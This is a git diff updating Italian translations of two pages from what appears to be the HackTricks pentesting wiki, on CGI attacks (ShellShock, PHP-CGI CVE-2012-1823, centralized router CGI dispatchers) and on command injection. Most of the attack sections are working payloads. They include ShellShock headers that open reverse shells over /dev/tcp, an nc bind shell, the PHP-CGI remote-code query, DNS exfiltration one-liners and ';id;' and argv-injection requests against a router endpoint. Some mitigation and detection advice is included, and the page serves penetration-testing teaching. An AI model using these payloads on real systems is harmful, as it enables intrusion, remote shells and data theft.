diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index dd138eb85..7f988adcc 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,27 +1,30 @@ +# CGI Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Informazioni -Gli **script CGI sono script perl**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ script, puoi **caricare una reverse shell perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiare l'estensione** da **.pl** a **.cgi**, dare **permessi di esecuzione** \(`chmod +x`\) e **accedere** alla reverse shell **dal browser web** per eseguirla. -Per testare le **vulnerabilità CGI** è consigliato usare `nikto -C all` \(e tutti i plugin\) +## Informazioni -# **ShellShock** +Gli **script CGI sono script perl**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ scripts puoi **caricare una perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **cambiare l'estensione** da **.pl** a **.cgi**, dare i **permessi di esecuzione** (`chmod +x`) e **accedere** alla reverse shell **dal browser** per eseguirla. +Per testare le **CGI vulns** è consigliato usare `nikto -C all` (e tutti i plugin) -**ShellShock** è una **vulnerabilità** che colpisce la **Bash**, la shell a riga di comando ampiamente utilizzata nei sistemi operativi basati su Unix. Colpisce la capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili di ambiente**, che sono valori nominati dinamici che influenzano il modo in cui i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare questo allegando **codice malevolo** alle variabili di ambiente, che viene eseguito al ricevimento della variabile. Questo consente agli attaccanti di compromettere potenzialmente il sistema. +## **ShellShock** -Sfruttando questa vulnerabilità, la **pagina potrebbe generare un errore**. +**ShellShock** è una **vulnerabilità** che colpisce la diffusissima shell a riga di comando **Bash** nei sistemi operativi basati su Unix. Mira alla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili d'ambiente**, che sono valori nominati dinamici che influenzano come i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttarla allegando **codice maligno** alle variabili d'ambiente, che viene eseguito al momento della ricezione della variabile. Questo permette agli attaccanti di compromettere potenzialmente il sistema. -Puoi **trovare** questa vulnerabilità notando che sta utilizzando una **vecchia versione di Apache** e **cgi_mod** \(con cartella cgi\) o usando **nikto**. +Sfruttando questa vulnerabilità la **pagina potrebbe restituire un errore**. -## **Test** +Puoi **trovare** questa vulnerabilità notando che usa una **vecchia versione di Apache** e **cgi_mod** (con la cartella cgi) o usando **nikto**. -La maggior parte dei test si basa sull'eco di qualcosa e si aspetta che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale. +### **Test** + +La maggior parte dei test si basano sul fare echo di qualcosa e aspettarsi che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(riflesso, cieco e out-of-band\)** +## **Curl \(riflesso, blind e out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -34,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -## Sfruttamento +### Exploit ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -48,23 +51,56 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -# **Proxy \(MitM per richieste al server web\)** +## Dispatcher CGI centralizzati (single endpoint routing via selector parameters) -CGI crea una variabile di ambiente per ogni intestazione nella richiesta http. Ad esempio: "host:web.com" viene creata come "HTTP_HOST"="web.com" +Molte interfacce web embedded multiplexano decine di azioni privilegiate dietro un singolo endpoint CGI (per esempio, `/cgi-bin/cstecgi.cgi`) e usano un selector parameter come `topicurl=` per instradare la richiesta a una funzione interna. -Poiché la variabile HTTP_PROXY potrebbe essere utilizzata dal server web. Prova a inviare un **header** contenente: "**Proxy: <IP_attacker>:<PORT>**" e se il server esegue qualche richiesta durante la sessione. Sarai in grado di catturare ogni richiesta effettuata dal server. +Metodologia per sfruttare questi router: -# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +- Enumerare i nomi dei handler: scrape di JS/HTML, brute-force con wordlists, oppure unpack del firmware e grep per stringhe di handler usate dal dispatcher. +- Testare la reachability non autenticata: alcuni handler dimenticano i controlli di auth e sono chiamabili direttamente. +- Concentrarsi su handler che invocano system utilities o che eseguono touch su file; i validator deboli spesso bloccano solo pochi caratteri e potrebbero non intercettare il leading hyphen `-`. -Fondamentalmente, se cgi è attivo e php è "vecchio" \(<5.3.12 / < 5.4.2\) puoi eseguire codice. -Per sfruttare questa vulnerabilità devi accedere a qualche file PHP del server web senza inviare parametri \(soprattutto senza inviare il carattere "="\). -Poi, per testare questa vulnerabilità, potresti accedere ad esempio a `/index.php?-s` \(nota il `-s`\) e **il codice sorgente dell'applicazione apparirà nella risposta**. +Schemi generici di exploit: +```http +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded -Poi, per ottenere **RCE** puoi inviare questa query speciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e il **codice PHP** da eseguire nel **corpo della richiesta. Esempio:** +# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools +topicurl=¶m=-n + +# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; + +# 3) Validator bypass → arbitrary file write in file-touching handlers +topicurl=setWizardCfg&=/etc/init.d/S99rc +``` +Rilevamento e hardening: + +- Monitorare richieste non autenticate a endpoint CGI centralizzati con `topicurl` impostato su handler sensibili. +- Segnala i parametri che iniziano con `-` (argv option injection attempts). +- Fornitori: imporre l'autenticazione su tutti gli handlers che modificano lo stato, convalidare usando strict allowlists/types/lengths, e non passare mai stringhe controllate dall'utente come flag della riga di comando. + +## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) + +Fondamentalmente se cgi è attivo e php è "vecchio" \(<5.3.12 / < 5.4.2\) puoi eseguire codice. +Per sfruttare questa vulnerabilità devi accedere a un file PHP del web server senza inviare parametri \(specialmente senza inviare il carattere "="\). +Per testare questa vulnerabilità, puoi ad esempio accedere a `/index.php?-s` \(nota il `-s`\) e **il codice sorgente dell'applicazione apparirà nella risposta**. + +Poi, per ottenere **RCE** puoi inviare questa query speciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e mettere il **codice PHP** da eseguire nel **corpo della richiesta**. Esempio: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Ulteriori informazioni sulla vulnerabilità e possibili exploit:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Maggiori informazioni sul vuln e possibili exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +## **Proxy \(MitM alle richieste al Web server\)** + +CGI crea una variabile d'ambiente per ogni header nella richiesta http. Per esempio: "host:web.com" viene creata come "HTTP_HOST"="web.com" + +Poiché la variabile HTTP_PROXY potrebbe essere usata dal web server, prova a inviare un **header** contenente: "**Proxy: <IP_attacker>:<PORT>**" e, se il server esegue qualsiasi richiesta durante la sessione, potrai catturare ogni richiesta fatta dal server. + +## **References** + +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index b18d03a0b..c4a41d7c3 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Cos'è command Injection? +## Che cos'è command Injection? -Una **command injection** consente l'esecuzione di comandi arbitrari del sistema operativo da parte di un attacker sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente permette all'attacker di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante. +A **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente consente all'attaccante di ottenere accesso o controllo non autorizzato sull'ambiente dell'applicazione e sul sistema sottostante. ### Contesto @@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limitazione** Bypasses - -Se stai cercando di eseguire **arbitrary commands inside a linux machine** ti interesserà leggere questi **Bypasses:** +### **Limition** Bypasses +Se stai cercando di eseguire **comandi arbitrari all'interno di una macchina linux** ti interesserà leggere questi **Bypasses:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -47,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametri -Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e a vulnerabilità RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e simili vulnerabilità RCE (da [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -89,9 +88,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### Esfiltrazione di dati via DNS +### DNS based data exfiltration -Basato sullo strumento da `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca +Basato sullo strumento disponibile su `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +100,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Strumenti online per verificare l'esfiltrazione di dati basata su DNS: +Strumenti online per controllare DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in -### Bypass del filtraggio +### Filtering bypass #### Windows ``` @@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Quando si analizzano i back-end JavaScript/TypeScript, ci si imbatte spesso nell'API Node.js `child_process`. +Quando esamini back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) provocherà una **command injection** quando l'input utente viene concatenato nella stringa. +`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) causa **command injection** quando l'input dell'utente viene concatenato nella stringa. -**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come elemento separato dell'array** in modo che nessuna shell sia coinvolta: +**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come elemento separato dell'array** in modo che non venga coinvolta nessuna shell: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,9 +139,38 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user` che venivano poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024). -## Lista di rilevamento per Brute-Force +### Injection di argomenti/opzioni tramite trattino iniziale (argv, senza metacaratteri di shell) + +Non tutte le injection richiedono metacaratteri di shell. Se l'applicazione passa stringhe non affidabili come argomenti a un utility di sistema (anche con `execve`/`execFile` e senza shell), molti programmi interpreteranno comunque qualsiasi argomento che inizi con `-` o `--` come opzione. Questo permette a un attaccante di cambiare modalità, modificare percorsi di output o attivare comportamenti pericolosi senza mai entrare in una shell. + +Luoghi tipici in cui questo appare: + +- Embedded web UIs/CGI handlers che costruiscono comandi come `ping `, `tcpdump -i -w `, `curl `, ecc. +- Router CGI centralizzati (es., `/cgi-bin/.cgi` con un parametro selector come `topicurl=`) dove più handler riutilizzano lo stesso validatore debole. + +Cosa provare: + +- Fornire valori che iniziano con `-`/`--` per farli interpretare come flag dallo strumento a valle. +- Abusare di flag che cambiano comportamento o scrivono file, per esempio: + - `ping`: `-f`/`-c 100000` per stressare il dispositivo (DoS) + - `curl`: `-o /tmp/x` per scrivere percorsi arbitrari, `-K ` per caricare configurazioni controllate dall'attaccante + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` per ottenere esecuzione post-rotate in wrapper non sicuri +- Se il programma supporta `--` (end-of-options), provare a bypassare mitigazioni ingenue che prependono `--` nel posto sbagliato. + +Forme generiche di PoC contro dispatcher CGI centralizzati: +``` +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# Flip options in a downstream tool via argv injection +topicurl=¶m=-n + +# Unauthenticated RCE when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; +``` +## Lista di rilevamento Brute-Force {{#ref}} @@ -157,5 +185,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}}